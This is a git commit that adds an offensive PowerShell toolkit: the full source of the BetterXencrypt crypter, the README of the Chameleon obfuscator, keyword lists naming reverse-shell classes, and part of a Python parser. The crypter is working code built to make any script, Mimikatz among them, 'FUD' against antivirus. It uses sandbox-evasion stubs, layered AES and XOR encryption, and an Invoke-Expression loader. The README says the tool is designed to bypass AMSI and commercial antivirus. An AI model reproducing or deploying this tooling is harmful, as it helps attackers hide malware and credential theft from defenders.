first commit

This commit is contained in:
2025-08-07 20:40:38 +07:00
commit 8a4fae89df
29 changed files with 94019 additions and 0 deletions

View File

@@ -0,0 +1,370 @@
# Xentropy's Copyright
# Xencrypt - PowerShell crypter
# Copyright (C) 2020 Xentropy ( @SamuelAnttila )
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <https://www.gnu.org/licenses/>.
# GetRektBoy724's Copyright
# BetterXencrypt - PowerShell crypter
# Copyright (C) 2021 GetRektBoy724
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <https://www.gnu.org/licenses/>.
Set-StrictMode -Version Latest
$ErrorActionPreference = "Stop"
$PSDefaultParameterValues['*:ErrorAction']='Stop'
function Create-Var() {
#Variable length help vary the length of the file generated
#old: [guid]::NewGuid().ToString().Substring(24 + (Get-Random -Maximum 9))
$set = "abcdefghijkmnopqrstuvwxyz"
(1..(10 + (Get-Random -Maximum 8)) | %{ $set[(Get-Random -Minimum 6 -Maximum $set.Length)] } ) -join ''
}
function xorEnc {
Param (
[Parameter(Mandatory,ValueFromPipeline,ValueFromPipelineByPropertyName)]
[string] $string = $(Throw("oopsie doopsie we made a fucky wucky shit")),
[Parameter(Mandatory,ValueFromPipeline,ValueFromPipelineByPropertyName)]
[string] $method = $(Throw("oopsie doopsie we made a fucky wucky shit")),
[Parameter(Mandatory,ValueFromPipeline,ValueFromPipelineByPropertyName)]
[string] $key = $(Throw("oopsie doopsie we made a fucky wucky shit"))
)
$xorkey = [System.Text.Encoding]::UTF8.GetBytes($key)
if ($method -eq "decrypt"){
$string = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($string))
}
$byteString = [System.Text.Encoding]::UTF8.GetBytes($string)
$xordData = $(for ($i = 0; $i -lt $byteString.length; ) {
for ($j = 0; $j -lt $xorkey.length; $j++) {
$byteString[$i] -bxor $xorkey[$j]
$i++
if ($i -ge $byteString.Length) {
$j = $xorkey.length
}
}
})
if ($method -eq "encrypt") {
$xordData = [System.Convert]::ToBase64String($xordData)
} else {
$xordData = [System.Text.Encoding]::UTF8.GetString($xordData)
}
return $xordData
}
function Invoke-BetterXencrypt {
<#
.SYNOPSIS
Invoke-BetterXencrypt is a better version of Xencrypt,Xencrypt itself is a Powershell runtime crypter designed to evade AVs,cause Xencrypt is not FUD anymore,i recode the stub and "big bang boom",voila!Its FUD again
If you dont know what Xencrypt is,Xencrypt takes any PowerShell script as an input and both packs and encrypts it to evade AV. It also lets you layer this recursively however many times you want in order to foil dynamic & heuristic detection.
.DESCRIPTION
____ _ _ __ __ _
| __ ) ___| |_| |_ ___ _ _\ \/ /___ _ __ ___ _ __ _ _ _ __ | |_
| _ \ / _ \ __| __/ _ \ '__\ // _ \ '_ \ / __| '__| | | | '_ \| __|
| |_) | __/ |_| || __/ | / \ __/ | | | (__| | | |_| | |_) | |_
|____/ \___|\__|\__\___|_| /_/\_\___|_| |_|\___|_| \__, | .__/ \__|
|___/|_|
----------------------------------------------------------------------
[-----------------Your Lovely FUD Powershell Crypter-----------------]
[-----------------Recoded With Love By GetRektBoy724-----------------]
[------------------https://github.com/GetRektBoy724------------------]
Invoke-BetterXencrypt takes any PowerShell script as an input and both packs and encrypts it to evade AV.
It also lets you layer this recursively however many times you want in order to attempt to foil dynamic & heuristic detection.
Not only that,Invoke-BetterXencrypt-ed script can bypass any behavior monitoring from AVs.
Invoke-BetterXencrypt uses AES and XOR encryption with GZip/Deflate compression.
Version : v1.4.0
.PARAMETER InFile
Specifies the script to encrypt.
.PARAMETER OutFile
Specifies the output script.
.PARAMETER Iterations
The number of times the PowerShell script will be packed & crypted recursively. Default is 2.
.EXAMPLE
PS> Invoke-BetterXencrypt -InFile Invoke-Mimikatz.ps1 -OutFile banana.ps1 -Iterations 3
.LINK
https://github.com/GetRektBoy724/BetterXencrypt
#>
[CmdletBinding()]
Param (
[Parameter(Mandatory,ValueFromPipeline,ValueFromPipelineByPropertyName)]
[string] $infile = $(Throw("-InFile is required")),
[Parameter(Mandatory,ValueFromPipeline,ValueFromPipelineByPropertyName)]
[string] $outfile = $(Throw("-OutFile is required")),
[Parameter(Mandatory=$false,ValueFromPipeline,ValueFromPipelineByPropertyName)]
[string] $iterations = 2
)
Process {
# a good tool need a good banner ;)
$banner = @"
____ _ _ __ __ _
| __ ) ___| |_| |_ ___ _ _\ \/ /___ _ __ ___ _ __ _ _ _ __ | |_
| _ \ / _ \ __| __/ _ \ '__\ // _ \ '_ \ / __| '__| | | | '_ \| __|
| |_) | __/ |_| || __/ | / \ __/ | | | (__| | | |_| | |_) | |_
|____/ \___|\__|\__\___|_| /_/\_\___|_| |_|\___|_| \__, | .__/ \__|
|___/|_|
----------------------------------------------------------------------
[-----------------Your Lovely FUD Powershell Crypter-----------------]
[-----------------Recoded With Love By GetRektBoy724-----------------]
[------------------https://github.com/GetRektBoy724------------------]
"@
Write-Output "$banner"
# read
Write-Output "[*] Reading '$($infile)' ..."
$codebytes = [System.IO.File]::ReadAllBytes($infile)
for ($i = 1; $i -le $iterations; $i++) {
# Decide on encryption params ahead of time
Write-Output "[*] Starting code layer ..."
$paddingmodes = 'PKCS7','ISO10126','ANSIX923','Zeros'
$paddingmode = $paddingmodes | Get-Random
$ciphermodes = 'ECB','CBC'
$ciphermode = $ciphermodes | Get-Random
$keysizes = 128,192,256
$keysize = $keysizes | Get-Random
$compressiontypes = 'Gzip','Deflate'
$compressiontype = $compressiontypes | Get-Random
# compress
Write-Output "[*] Compressing ..."
[System.IO.MemoryStream] $output = New-Object System.IO.MemoryStream
if ($compressiontype -eq "Gzip") {
$compressionStream = New-Object System.IO.Compression.GzipStream $output, ([IO.Compression.CompressionMode]::Compress)
} elseif ( $compressiontype -eq "Deflate") {
$compressionStream = New-Object System.IO.Compression.DeflateStream $output, ([IO.Compression.CompressionMode]::Compress)
}
$compressionStream.Write( $codebytes, 0, $codebytes.Length )
$compressionStream.Close()
$output.Close()
$compressedBytes = $output.ToArray()
# generate key
Write-Output "[*] Generating encryption key ..."
$aesManaged = New-Object "System.Security.Cryptography.AesManaged"
if ($ciphermode -eq 'CBC') {
$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
} elseif ($ciphermode -eq 'ECB') {
$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::ECB
}
if ($paddingmode -eq 'PKCS7') {
$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
} elseif ($paddingmode -eq 'ISO10126') {
$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::ISO10126
} elseif ($paddingmode -eq 'ANSIX923') {
$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::ANSIX923
} elseif ($paddingmode -eq 'Zeros') {
$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
}
$aesManaged.BlockSize = 128
$aesManaged.KeySize = 256
$aesManaged.GenerateKey()
$b64key = [System.Convert]::ToBase64String($aesManaged.Key)
# encrypt
Write-Output "[*] Encrypting with AES..."
$encryptor = $aesManaged.CreateEncryptor()
$encryptedData = $encryptor.TransformFinalBlock($compressedBytes, 0, $compressedBytes.Length);
[byte[]] $fullData = $aesManaged.IV + $encryptedData
$aesManaged.Dispose()
$b64encrypted = [System.Convert]::ToBase64String($fullData)
#reverse base64 encrypted for obfuscation ;)
$reversingb64encrypted = $b64encrypted.ToCharArray()
[array]::Reverse($reversingb64encrypted)
$b64encryptedreversed = -join($reversingb64encrypted)
# xor encrypt
Write-Output "[*] Encrypting with XOR ..."
# this is a literal fucking hell,i need to fucking set variable names for the goddang xor encryptor/decryptor at the stub
$string = Create-Var
$method = Create-Var
$key = Create-Var
$byteString = Create-Var
$xordData = Create-Var
$xori = Create-Var
$xorj = Create-Var
# now its the time to XOR encrypt the reversed AES encrypted payload
$XOREncKey = Create-Var
$base64XOREncPayload = xorEnc -string "$b64encryptedreversed" -method "encrypt" -key "$XOREncKey"
# write
Write-Output "[*] Finalizing code layer ..."
$stub_template = ''
# some AV's Dynamic Analysis bypasses
$code_alternatives = @()
$code_alternatives += '${30} = (Get-Process -Id $PID | Select-Object Name,@{17}Name="WorkingSet";Expression={17}($_.ws / 1024kb){18}{18}).WorkingSet' + "`r`n"
$code_alternatives += 'if (${30} -lt 250) {17} ${31} = "a" * 300MB {18}' + "`r`n"
$code_alternatives += '${19} = 0' + "`r`n"
$code_alternatives += '${20} = 30000000' + "`r`n"
$code_alternatives += 'For (${19}=0; ${19} -lt ${20};${19}++) {17} ${19}++ {18}' + "`r`n"
$stub_template += $code_alternatives -join ''
$code_alternatives = @()
$code_alternatives += '${43} = [System.Text.Encoding]::UTF8.GetBytes("{42}")' + "`r`n"
$code_alternatives += '${44} = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("{0}"))' + "`r`n"
$code_alternatives += '${45} = [System.Text.Encoding]::UTF8.GetBytes(${44})' + "`r`n"
# start XOR decrypt sequence
$code_alternatives += '${46} = $(for (${47} = 0; ${47} -lt ${45}.length; ) {17}' + "`r`n"
$code_alternatives += ' for (${48} = 0; ${48} -lt ${43}.length; ${48}++) {17}' + "`r`n"
$code_alternatives += ' ${45}[${47}] -bxor ${43}[${48}]' + "`r`n"
$code_alternatives += ' ${47}++' + "`r`n"
$code_alternatives += ' if (${47} -ge ${45}.Length) {17}' + "`r`n"
$code_alternatives += ' ${48} = ${43}.length' + "`r`n"
$code_alternatives += ' {18}' + "`r`n"
$code_alternatives += ' {18}' + "`r`n"
$code_alternatives += '{18})' + "`r`n"
$code_alternatives += '${46} = [System.Text.Encoding]::UTF8.GetString(${46})' + "`r`n"
$stub_template += $code_alternatives -join ''
$code_alternatives = @()
$code_alternatives += '${11} = "${46}"' + "`r`n"
$code_alternatives += '${9} = ${11}.ToCharArray()' + "`r`n"
$code_alternatives += '[array]::Reverse(${9})' + "`r`n"
$code_alternatives += '${10} = -join(${9})' + "`r`n"
$stub_template += $code_alternatives -join ''
$code_alternatives = @()
$code_alternatives += '${2} = [System.Convert]::FromBase64String("${10}")' + "`r`n"
$code_alternatives += '${3} = [System.Convert]::FromBase64String("{1}")' + "`r`n"
#aes managed but its base64 encoded and reversed ;)
$code_alternatives += '${24} = "==gCkV2Zh5WYNNXZB5SeoBXYyd2b0BXeyNkL5RXayV3YlNlLtVGdzl3U"' + "`r`n"
$code_alternatives += '${25} = ${24}.ToCharArray()' + "`r`n"
$code_alternatives += '[array]::Reverse(${25})' + "`r`n"
$code_alternatives += '${26} = -join(${25})' + "`r`n"
$code_alternatives += '${12} = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(${26}))' + "`r`n"
$code_alternatives += '${4} = New-Object "${12}"' + "`r`n"
$stub_template += $code_alternatives -join ''
$code_alternatives = @()
#ciphermode but its base64 encoded and reversed ;)
if ($ciphermode -eq "ECB") {
$code_alternatives += '${21} = "==gQDVkO60VZk9WTyVGawl2QukHawFmcn9GdwlncD5Se0lmc1NWZT5SblR3c5N1W"' + "`r`n"
$code_alternatives += '${23} = ${21}.ToCharArray()' + "`r`n"
$code_alternatives += '[array]::Reverse(${23})' + "`r`n"
$code_alternatives += '${22} = -join(${23})' + "`r`n"
$code_alternatives += '${13} = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(${22}))' + "`r`n"
$code_alternatives += '${14} = & ([scriptblock]::Create(${13}))' + "`r`n"
$code_alternatives += '${4}.Mode = ${14}' + "`r`n"
}elseif ($ciphermode -eq "CBC") {
$code_alternatives += '${21} = "==wQCNkO60VZk9WTyVGawl2QukHawFmcn9GdwlncD5Se0lmc1NWZT5SblR3c5N1W"' + "`r`n"
$code_alternatives += '${23} = ${21}.ToCharArray()' + "`r`n"
$code_alternatives += '[array]::Reverse(${23})' + "`r`n"
$code_alternatives += '${22} = -join(${23})' + "`r`n"
$code_alternatives += '${13} = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(${22}))' + "`r`n"
$code_alternatives += '${14} = & ([scriptblock]::Create(${13}))' + "`r`n"
$code_alternatives += '${4}.Mode = ${14}' + "`r`n"
}
#paddingmode but its base64 encoded and reversed ;)
if ($paddingmode -eq 'PKCS7') {
$code_alternatives += '${27} = "==wNTN0SQpjOdVGZv10ZulGZkFGUukHawFmcn9GdwlncD5Se0lmc1NWZT5SblR3c5N1W"' + "`r`n"
$code_alternatives += '${28} = ${27}.ToCharArray()' + "`r`n"
$code_alternatives += '[array]::Reverse(${28})' + "`r`n"
$code_alternatives += '${29} = -join(${28})' + "`r`n"
$code_alternatives += '${15} = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(${29}))' + "`r`n"
$code_alternatives += '${16} = & ([scriptblock]::Create(${15}))' + "`r`n"
$code_alternatives += '${4}.Padding = ${16}' + "`r`n"
} elseif ($paddingmode -eq 'ISO10126') {
$code_alternatives += '${27} = "==gNyEDMx80UJpjOdVGZv10ZulGZkFGUukHawFmcn9GdwlncD5Se0lmc1NWZT5SblR3c5N1W"' + "`r`n"
$code_alternatives += '${28} = ${27}.ToCharArray()' + "`r`n"
$code_alternatives += '[array]::Reverse(${28})' + "`r`n"
$code_alternatives += '${29} = -join(${28})' + "`r`n"
$code_alternatives += '${15} = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(${29}))' + "`r`n"
$code_alternatives += '${16} = & ([scriptblock]::Create(${15}))' + "`r`n"
$code_alternatives += '${4}.Padding = ${16}' + "`r`n"
} elseif ($paddingmode -eq 'ANSIX923') {
$code_alternatives += '${27} = "==wMykDWJNlTBpjOdVGZv10ZulGZkFGUukHawFmcn9GdwlncD5Se0lmc1NWZT5SblR3c5N1W"' + "`r`n"
$code_alternatives += '${28} = ${27}.ToCharArray()' + "`r`n"
$code_alternatives += '[array]::Reverse(${28})' + "`r`n"
$code_alternatives += '${29} = -join(${28})' + "`r`n"
$code_alternatives += '${15} = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(${29}))' + "`r`n"
$code_alternatives += '${16} = & ([scriptblock]::Create(${15}))' + "`r`n"
$code_alternatives += '${4}.Padding = ${16}' + "`r`n"
} elseif ($paddingmode -eq 'Zeros') {
$code_alternatives += '${27} = "==wcvJXZapjOdVGZv10ZulGZkFGUukHawFmcn9GdwlncD5Se0lmc1NWZT5SblR3c5N1W"' + "`r`n"
$code_alternatives += '${28} = ${27}.ToCharArray()' + "`r`n"
$code_alternatives += '[array]::Reverse(${28})' + "`r`n"
$code_alternatives += '${29} = -join(${28})' + "`r`n"
$code_alternatives += '${15} = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(${29}))' + "`r`n"
$code_alternatives += '${16} = & ([scriptblock]::Create(${15}))' + "`r`n"
$code_alternatives += '${4}.Padding = ${16}' + "`r`n"
}
$code_alternatives += '${4}.BlockSize = 128' + "`r`n"
$code_alternatives += '${4}.KeySize = '+$keysize + "`n" + '${4}.Key = ${3}' + "`r`n"
$code_alternatives += '${4}.IV = ${2}[0..15]' + "`r`n"
$stub_template += $code_alternatives -join ''
$code_alternatives = @()
$code_alternatives += '${34} = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("U3lzdGVtLklPLk1lbW9yeVN0cmVhbQ=="))' + "`r`n"
$code_alternatives += '${6} = New-Object ${34}(,${4}.CreateDecryptor().TransformFinalBlock(${2},16,${2}.Length-16))' + "`r`n"
$code_alternatives += '${7} = New-Object ${34}' + "`r`n"
$stub_template += $code_alternatives -join ''
if ($compressiontype -eq "Gzip") {
$stub_template += '${40} = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("RGVjb21wcmVzcw=="))' + "`r`n"
$stub_template += '${41} = & ([scriptblock]::Create([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("W0lPLkNvbXByZXNzaW9uLkNvbXByZXNzaW9uTW9kZV0="))))' + "`r`n"
$stub_template += '${35} = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("U3lzdGVtLklPLkNvbXByZXNzaW9uLkd6aXBTdHJlYW0="))' + "`r`n"
$stub_template += '${5} = New-Object ${35} ${6}, (${41}::${40})' + "`r`n"
} elseif ( $compressiontype -eq "Deflate") {
$stub_template += '${40} = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("RGVjb21wcmVzcw=="))' + "`r`n"
$stub_template += '${41} = & ([scriptblock]::Create([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("W0lPLkNvbXByZXNzaW9uLkNvbXByZXNzaW9uTW9kZV0="))))' + "`r`n"
$stub_template += '${35} = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("U3lzdGVtLklPLkNvbXByZXNzaW9uLkRlZmxhdGVTdHJlYW0="))' + "`r`n"
$stub_template += '${5} = New-Object ${35} ${6}, (${41}::${40})' + "`r`n"
}
$stub_template += '${5}.CopyTo(${7})' + "`r`n"
$code_alternatives = @()
$code_alternatives += '${5}.Close()' + "`r`n"
$code_alternatives += '${4}.Dispose()' + "`r`n"
$code_alternatives += '${6}.Close()' + "`r`n"
$code_alternatives += '${36} = & ([scriptblock]::Create([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("W1N5c3RlbS5UZXh0LkVuY29kaW5nXQ=="))))' + "`r`n"
$code_alternatives += '${37} = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("VVRGOA=="))' + "`r`n"
$code_alternatives += '${38} = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("VG9BcnJheQ=="))' + "`r`n"
$code_alternatives += '${39} = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("R2V0U3RyaW5n"))' + "`r`n"
$code_alternatives += '${8} = ${36}::${37}.${39}(${7}.${38}())' + "`r`n"
$stub_template += $code_alternatives -join ''
$stub_template += ('Invoke-Expression','IEX' | Get-Random)+'(${8})' + "`r`n"
# it's ugly, but it beats concatenating each value manually.
[string]$code = $stub_template -f $base64XOREncPayload, $b64key, (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), ("{"), ("}"), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), $XOREncKey, $key, $string, $byteString, $xordData, $xori, $xorj
$codebytes = [System.Text.Encoding]::UTF8.GetBytes($code)
}
Write-Output "[*] Writing '$($outfile)' ..."
[System.IO.File]::WriteAllText($outfile,$code)
Write-Output "[+] Done!"
}
}

View File

@@ -0,0 +1,136 @@
# Byte-compiled / optimized / DLL files
__pycache__/
*.py[cod]
*$py.class
# C extensions
*.so
# JetBrain
.idea/
*.ps1
*.json
*.7z
!utils/AMSITrigger.exe
# Distribution / packaging
.Python
build/
develop-eggs/
dist/
downloads/
eggs/
.eggs/
lib/
lib64/
parts/
sdist/
var/
wheels/
pip-wheel-metadata/
share/python-wheels/
*.egg-info/
.installed.cfg
*.egg
MANIFEST
# PyInstaller
# Usually these files are written by a python script from a template
# before PyInstaller builds the exe, so as to inject date/other infos into it.
*.manifest
*.spec
# Installer logs
pip-log.txt
pip-delete-this-directory.txt
# Unit test / coverage reports
htmlcov/
.tox/
.nox/
.coverage
.coverage.*
.cache
nosetests.xml
coverage.xml
*.cover
*.py,cover
.hypothesis/
.pytest_cache/
# Translations
*.mo
*.pot
# Django stuff:
*.log
local_settings.py
db.sqlite3
db.sqlite3-journal
# Flask stuff:
instance/
.webassets-cache
# Scrapy stuff:
.scrapy
# Sphinx documentation
docs/_build/
# PyBuilder
target/
# Jupyter Notebook
.ipynb_checkpoints
# IPython
profile_default/
ipython_config.py
# pyenv
.python-version
# pipenv
# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
# However, in case of collaboration, if having platform-specific dependencies or dependencies
# having no cross-platform support, pipenv may install dependencies that don't work, or not
# install all needed dependencies.
#Pipfile.lock
# PEP 582; used by e.g. github.com/David-OConnor/pyflow
__pypackages__/
# Celery stuff
celerybeat-schedule
celerybeat.pid
# SageMath parsed files
*.sage.py
# Environments
.env
.venv
env/
venv/
ENV/
env.bak/
venv.bak/
# Spyder project settings
.spyderproject
.spyproject
# Rope project settings
.ropeproject
# mkdocs documentation
/site
# mypy
.mypy_cache/
.dmypy.json
dmypy.json
# Pyre type checker
.pyre/

View File

@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2021 klezVirus
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

View File

@@ -0,0 +1,175 @@
:triangular_flag_on_post: This is the public repository of chameleon, for latest version and updates please consider supporting us through https://porchetta.industries/
# Chameleon
Chameleon is yet another PowerShell obfuscation tool designed to bypass AMSI and commercial antivirus solutions.
## :triangular_flag_on_post: Sponsors
If you want to sponsors this project and have the latest updates on chameleon, latest issues fixed, latest features, please support us on https://porchetta.industries/
## Official Discord Channel
Come hang out on Discord!
[![Porchetta Industries](https://discordapp.com/api/guilds/736724457258745996/widget.png?style=banner3)](https://discord.gg/ycGXUxy)
## Overview
The tool has been developed as a Python port of the [Chimera][1] project, by [tokioneon_][2]. As such, it uses
mostly the same techniques to evade common detection signatures, such as:
* comment deletion/substitution
* string substitution (variables, functions, data-types)
* variable concatenation
* indentation randomization
* semi-random backticks insertion
* case randomization
* encoding
## Why porting it
Chimera was indeed a shiny project, so why did I decided to port it to Python and why you should use chameleon?
Well, there are several reasons why I decided to build Chameleon. I wrote a more detailed post about them [here][7].
I've also listed below the most important ones.
##### Reliability
As the author of Chimera states in the readme, the chimera script can successfully obfuscate scripts that the author
tested personally, which are contained in the [shells][3] directory. However, the tool is not very reliable with other,
untested, scripts. Quoting the author:
> there's no telling how untested scripts will reproduce with Chimera...
This alone was a good reason to attempt to make the tool a bit more reliable, and also capable to obfuscate
more complex scripts.
##### Speed
Chimera attempts several obfuscation steps, which usually requires the input to be read from a file, and stored back
in a file again. While this is a safe approach, because each step is saved to disk (let's say there is an error at step
n, we would still have the result of the obfuscation till n - 1), this is not really efficient. The overhead of writing
and reading from a file at each time make the tool really slow when operating on large scripts (up to several minutes
with the -a option).
Chameleon, instead, performs all obfuscation steps in memory, meaning it is extremely faster.
##### Portability
Chimera has been developed as a Bash Script, and heavily relies on common Linux utilities to accomplish the obfuscation.
Chameleon, on the other hand, is built with Python, meaning that you can use it wherever Python is installed.
##### Smart evasion checking
Chimera offers a function to submit scripts to VirusTotal directly. While this might be considered a useful utility,
it will expose the obfuscated script to third party threat-intelligence, weakening the obfuscation engine.
To address this issue, Chameleon uses the utility [AMSITrigger][4] by [RhytmStick][5], to check if the obfuscated result will indeed
bypass AMSI.
### Improvements
So far, we've talked about the efficiency and reliability issues of chimera, but what are the real improvements
from an obfuscation standpoint? The techniques used by Chameleon are for the most the same as Chimera, with some improvements:
* "Smart" variable scope identification (function local variables will be replaced "carefully" or left untouched)
* Random backticks insertion (not just limited to a set of strings)
* Random case switch (not just limited to a set of strings)
* Supports an external obfuscation mapping for functions ~~and parameters~~ (TODO)
* Additional Base64 Encoding wrapping
Chameleon manages to handle function and local parameters by implementing a very minimalist PowerShell "reader", which is
capable of distinguish three contexts:
* Global/Main Scope
* In-Function Scope
* Param() Blocks
The reader is still not a real parser, and relies on Dick Language to find relevant areas limits.
### Usage
Using the tool is pretty straightforward, as observable from the help:
```
usage: chameleon.py [-h] [-l {0,1,2,3,4,5}] -o OUTPUT [-v] [-s] [-d] [-n] [-c] [-f] [-b] [--random-backticks] [-r] [-i] [-x] [-j] [-a] [--decimal] [--base64] [-z] [-F FUNCTION_MAPPING] [-K KEYWORDS] [-B BACKTICKS] [-t {r,d,h}] [--safe] [--verbose] [--about]
target
Chameleon - PowerShell script obfuscator (Improved Python port of Chimera)
positional arguments:
target Script to obfuscate
optional arguments:
-h, --help show this help message and exit
-l {0,1,2,3,4,5}, --level {0,1,2,3,4,5}
String manipulation Level (1: MIN, 5: MAX, 0: RANDOM)
-o OUTPUT, --output OUTPUT
Store the payload in a file
-v, --variables Enable variable obfuscation
-s, --strings Enable string obfuscation
-d, --data-types Enable data types obfuscation
-n, --nishang Enable Nishang scripts obfuscation
-c, --comments Enable comments obfuscation
-f, --functions Enable functions obfuscation
-b, --use-backticks Enable use of backticks with generated strings
--random-backticks Enable use of backticks randomization
-r, --random-cases Enable upper/lower randomization
-i, --random-spaces Enable indentation randomization
-x, --hex-ip Enable indentation randomization
-j, --true-false-null
Try and obfuscate $true, $false and $null (experimental)
-a, --enable-all Enable all obfuscation types
--decimal Convert obfuscated payload to decimal format
--base64 Convert obfuscated payload to base64 format
-z, --check Check the script against AMSI Trigger (@RythmStick, @rasta-mouse)
-F FUNCTION_MAPPING, --function-mapping FUNCTION_MAPPING
Add custom keywords to obfuscate
-K KEYWORDS, --keywords KEYWORDS
Add custom keywords to obfuscate
-B BACKTICKS, --backticks BACKTICKS
Add a list of words to backtick
-t {r,d,h}, --randomization-type {r,d,h}
Type of randomization (r: Random, d: Dictionary, h: Hybrid)
--safe Reduce obfuscation of certain variables
--verbose Enable verbose output
--about Shows additional information about the tool
```
### Notes
Worth saying that, even if now Chameleon is capable of obfuscate also complex scripts, it's still not comparable with
Invoke-Obfuscation, which actually is way more mature and is also backed-up by a fully fledged parser `Management.Automation.Language.Parser`.
### Next steps
Moreover, Chameleon is still not perfect and still needs further development to increase both its accuracy and improve
its obfuscation techniques. A non-exhaustive list of planned improvements are below:
* Upgrade the PowerShell reader
* Include other encoding schemes
* Add more obfuscation methods
## Contribute
If you want to contribute, just fork the repository. Any PR is well accepted.
## Credits
Worth saying that Chameleon would not be a thing without the work of [tokioneon_][2] on [Chimera][1], as the most of the
obfuscation process was ported from Bash to Python (of course with some mods).
## References
* [Chimera][1]
* [Invoke-Obfuscation][6]
* [AMSITrigger][4]
[1]: https://github.com/tokyoneon/Chimera.git
[2]: https://twitter.com/tokyoneon_
[3]: https://github.com/tokyoneon/Chimera/tree/master/shells
[4]: https://github.com/RythmStick/AMSITrigger
[5]: https://github.com/RythmStick
[6]: https://github.com/danielbohannon/Invoke-Obfuscation
[7]: https://klezvirus.github.io/RedTeaming/AV_Evasion/BornFromAChimera/

View File

@@ -0,0 +1 @@
# Created to allow using Chameleon as Library

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,17 @@
system.net.sockets.tcpclient
system.io.streamwriter
system.byte
system.text.asciiencoding
system.diagnostics.processstartinfo
system.diagnostics.process
system.text.asciiencoding
net.sockets.tcpclient
system.io.streamwriter
system.net.networkinformation.ping
psobject
net.webclient
system.net.httplistener
security.principal.windowsprincipal
system.net.ipendpoint
text.asciiencoding
io.streamwriter

View File

@@ -0,0 +1,8 @@
Write-Verbose[^\n\}\)\(\{\;]+
Write-Output[^\n\}\)\(\{\;]+
Write-Warning[^\n\}\)\(\{\;]+
,\s*Mandatory\s*=\s*\$true
,\s*Mandatory\s*=\s*\$false
Mandatory\s*=\s*\$true,
Mandatory\s*=\s*\$false,
validatepattern

View File

@@ -0,0 +1,32 @@
obfuscat
nishang
payload
virus
malware
hack
reverse
powershell
icmp
shell
backdoor
evil
elevate
privil
regsitry
script
SanityCheck
WindowsSanity
execut
scriptengine
hidden
bypass
regedit.exe
cmd.exe
powershell.exe
encode
iex
invoke-
getstream
new-object
getstring
getbytes

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,2 @@
colorama
numpy

View File

@@ -0,0 +1,245 @@
import json
import os
import secrets
import string
import sys
import re
from enum import Enum
import argparse
class PSContextType(Enum):
MAIN = 0
FUNCTION = 1
NESTED_FUNCTION = 2
PARAMS = 3
COMMENTS = 4
class PSContext:
def __init__(self, name: str, ctx_type: PSContextType):
self.last_line = 0
self.ctx_type = ctx_type
self.name = name
self.content = ""
self.brackets = 0
self.first_line = 0
def open_brackets(self, nb=1):
self.brackets += nb
def close_brackets(self, nb=1):
self.brackets -= nb
def change_context(self, new_context):
self.ctx_type = new_context
class PSTree:
